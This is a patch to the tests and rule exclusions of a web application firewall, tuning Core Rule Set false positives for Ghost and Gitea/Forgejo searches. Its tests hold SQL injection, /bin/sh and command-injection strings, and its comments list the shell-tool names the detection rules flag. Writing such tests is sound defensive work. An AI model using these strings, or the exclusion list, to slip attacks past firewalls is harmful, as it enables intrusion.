func TestGhostImportLabelsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, encoded := range hardValues {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
||||
}
|
||||
|
||||
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
wantGhostImportLabel(t, ghostImport, attack, true)
|
||||
}
|
||||
|
||||
// labels keeps its rules on other paths, and when the query has a field
|
||||
// of the same name.
|
||||
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
||||
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
||||
}
|
||||
|
||||
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -462,6 +826,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -481,7 +847,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
||||
},
|
||||
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
||||
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
||||
{ghostPosts, email},
|
||||
{ghostMembers, email},
|
||||
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
||||
@@ -498,6 +863,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||
{ghostPosts, userEmail},
|
||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||
{"/api/posts/1/", postURL},
|
||||
{ghostMembers, postURL},
|
||||
{ghostPage, postURL},
|
||||
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||
{ghostPost, pageURL},
|
||||
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||
@@ -533,6 +904,7 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||
script = `<script defer src=\"/script.js\"></script>`
|
||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -542,6 +914,8 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
||||
{"/api/settings/", scriptInSettings},
|
||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||
{ghostPosts, scriptInTag},
|
||||
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
@@ -563,7 +937,8 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
|
||||
// The query fields keep their rules off Ghost's paths, and in other
|
||||
// query fields there. search skips its rules only on the Admin API, and
|
||||
// url only on the editor's lookup of embeds.
|
||||
// url only on the editor's lookup of embeds. pathname, email_segment,
|
||||
// query and email skip theirs only on their own paths.
|
||||
for _, target := range []string{
|
||||
"/api/posts/?filter=powershell",
|
||||
"/ghost/posts/?filter=powershell",
|
||||
@@ -572,11 +947,79 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
"/members/api/member/?search=python3",
|
||||
"/ghost/api/admin/posts/?url=powershell",
|
||||
"/oembed/?url=powershell",
|
||||
"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
|
||||
"/ghost/api/admin/stats/top-content/?order=powershell",
|
||||
"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
|
||||
"/ghost/api/admin/posts/?query=python3",
|
||||
"/.ghost/activitypub/v1/actions/note?query=python3",
|
||||
"/ghost/api/admin/invites/?email=python3.dev%40example.com",
|
||||
} {
|
||||
wantGhostQuery(t, target, true)
|
||||
}
|
||||
}
|
||||
|
||||
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
||||
// the others: each keeps its rules on another path, and when the query has
|
||||
// a field of the same name.
|
||||
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
bio = `{"users":[{"bio":"python3"}]}`
|
||||
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
|
||||
content = `{"content":"python3"}`
|
||||
altText = `{"image":{"altText":"python3"}}`
|
||||
accountBio = `{"bio":"python3"}`
|
||||
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
||||
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
||||
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
||||
domain = `{"domain":"python3.example.com"}`
|
||||
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
{"/api/users/1/", bio},
|
||||
{ghostMember, bio},
|
||||
{ghostUser + "?json.users.0.bio=x", bio},
|
||||
{ghostPosts, comment},
|
||||
{ghostComments + "?json.comments.0.html=x", comment},
|
||||
{ghostAccount, content},
|
||||
{ghostNote + "?json.content=x", content},
|
||||
{ghostAccount, altText},
|
||||
{ghostNote + "?json.image.altText=x", altText},
|
||||
{ghostNote, accountBio},
|
||||
{ghostAccount + "?json.bio=x", accountBio},
|
||||
{ghostPosts, invited},
|
||||
{ghostInvites + "?json.invites.0.email=x", invited},
|
||||
{ghostInvites, accepted},
|
||||
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||
{ghostMigration, sourceHandle},
|
||||
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
||||
{ghostMigration, actorURI},
|
||||
{ghostAliases + "?json.actorUri=x", actorURI},
|
||||
{ghostAliases, targetHandle},
|
||||
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
||||
{ghostAccount, domain},
|
||||
{ghostDomain + "?json.domain=x", domain},
|
||||
{ghostPosts, tagCode},
|
||||
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||
{ghostPosts, tagURL},
|
||||
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
||||
if got.Score < ghostThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
||||
refused.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -172,11 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||
|
||||
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
||||
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
||||
# pages, on an owner's packages page and on the admin page of packages also
|
||||
# skips this rule:
|
||||
# pages, on an owner's packages page, on the admin page of packages and on the
|
||||
# API's search of packages also skips this rule:
|
||||
# 932160: /bin/sh
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||
admin/packages)$" \
|
||||
admin/packages|api/v1/packages/[^/]+)$" \
|
||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||
|
||||
# gitea's other searches send a name or a few words in q too, which skips only
|
||||
@@ -188,7 +188,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||
# The searches:
|
||||
# - the dashboard's filter of repositories;
|
||||
# - the author filter of the issue and pull request lists;
|
||||
# - the lists of users and organisations, and the API's search for users;
|
||||
# - the lists of users and organisations;
|
||||
# - the API's searches of users, of topics, of an organisation's teams and of
|
||||
# emails;
|
||||
# - the list of repositories a user watches;
|
||||
# - an organisation's milestones of one team, and its search for teams;
|
||||
# - the milestones of a repository or an organisation, and the projects of a
|
||||
@@ -205,7 +207,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||
# versions holds the package's name, which can hold a slash, as npm's
|
||||
# @scope/name does.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||
explore/(?:users|organizations)|api/v1/users/search|\
|
||||
explore/(?:users|organizations)|\
|
||||
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
|
||||
admin/emails/search)|\
|
||||
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
||||
[^/]+/-/packages/[^/]+/.+/versions|\
|
||||
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
||||
@@ -219,6 +223,29 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# Two of the API's searches send their words in a field other than q, which
|
||||
# skips these rules there:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3, alice/python3-app
|
||||
# The search of unadopted repositories sends an owner and a name, such as
|
||||
# alice/python3-app, in query.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
|
||||
"id:900607,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:query"
|
||||
|
||||
# The search of a repository's milestones sends a milestone's name in name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
|
||||
"id:900608,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:name"
|
||||
|
||||
# The repositories on a user's or an organisation's page are searched with q
|
||||
# too. Their path has one segment, so q skips these rules on every path of one
|
||||
# segment, other apps' pages such as /index.php included:
|
||||
|
||||
@@ -3,6 +3,7 @@ package coreruleset_test
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
@@ -182,7 +183,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
|
||||
attacks := []string{binSh, commandInjection, pathTraversal}
|
||||
|
||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||
// values stay refused in q on paths near the searches, and in another
|
||||
@@ -248,3 +249,102 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
|
||||
// field skips the lists of system files and command names. Each ends in the
|
||||
// field it sends its words in.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var giteaAPISearches = []string{
|
||||
"/api/v1/users/search?q=",
|
||||
"/api/v1/topics/search?q=",
|
||||
"/api/v1/orgs/acme/teams/search?q=",
|
||||
"/api/v1/admin/emails/search?q=",
|
||||
"/api/v1/admin/unadopted?query=",
|
||||
"/api/v1/repos/alice/tools/milestones?name=",
|
||||
}
|
||||
|
||||
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
|
||||
// also lets /bin/sh through, since a package name can hold a slash.
|
||||
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
|
||||
|
||||
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
searches := slices.Concat(
|
||||
giteaAPISearches,
|
||||
[]string{giteaAPIPackageSearch},
|
||||
)
|
||||
|
||||
for _, search := range searches {
|
||||
path, field, _ := strings.Cut(search, "?")
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
||||
} {
|
||||
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
|
||||
t.Errorf("GET %s%s let through: %+v", search, attack, got)
|
||||
}
|
||||
|
||||
// The same field in a form data body.
|
||||
r := request{http.MethodPost, path, []string{formData}}
|
||||
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
|
||||
t.Errorf(
|
||||
"POST %s %s%s let through: %+v",
|
||||
path,
|
||||
field,
|
||||
attack,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// /bin/sh stays refused on the searches that are not of packages.
|
||||
for _, search := range giteaAPISearches {
|
||||
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
|
||||
t.Errorf("%s%s let through: %+v", search, binSh, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||
// values stay refused in each search's field on paths near the
|
||||
// searches, and in another field on them.
|
||||
for _, target := range []string{
|
||||
"/api/v1/topics/search/x?q=",
|
||||
"/api/v1/orgs/acme/teams?q=",
|
||||
"/api/v1/orgs/acme/teams/search/x?q=",
|
||||
"/api/v1/admin/emails?q=",
|
||||
"/api/v1/admin/unadopted/alice/legacy-site?query=",
|
||||
"/api/v1/admin/users?query=",
|
||||
"/api/v1/repos/alice/tools/milestones/1?name=",
|
||||
"/api/v1/repos/alice/tools/labels?name=",
|
||||
"/api/v1/packages/alice/generic/tools-cli?q=",
|
||||
"/api/v1/topics/search?other=",
|
||||
"/api/v1/orgs/acme/teams/search?other=",
|
||||
"/api/v1/admin/emails/search?other=",
|
||||
"/api/v1/admin/unadopted?q=",
|
||||
"/api/v1/repos/alice/tools/milestones?q=",
|
||||
"/api/v1/packages/alice?other=",
|
||||
} {
|
||||
for _, value := range slices.Concat(
|
||||
[]string{binSh, commandInjection, pathTraversal},
|
||||
hardValues,
|
||||
) {
|
||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
@@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
|
||||
@@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {nextcloud},
|
||||
|
||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyLimit, Apps: apps,
|
||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range requests {
|
||||
|
||||
@@ -974,3 +974,63 @@
|
||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
|
||||
# 17.0.1. Each searches for words that name commands and files, such as python3
|
||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
||||
# search of unadopted repositories takes an owner and a name.
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
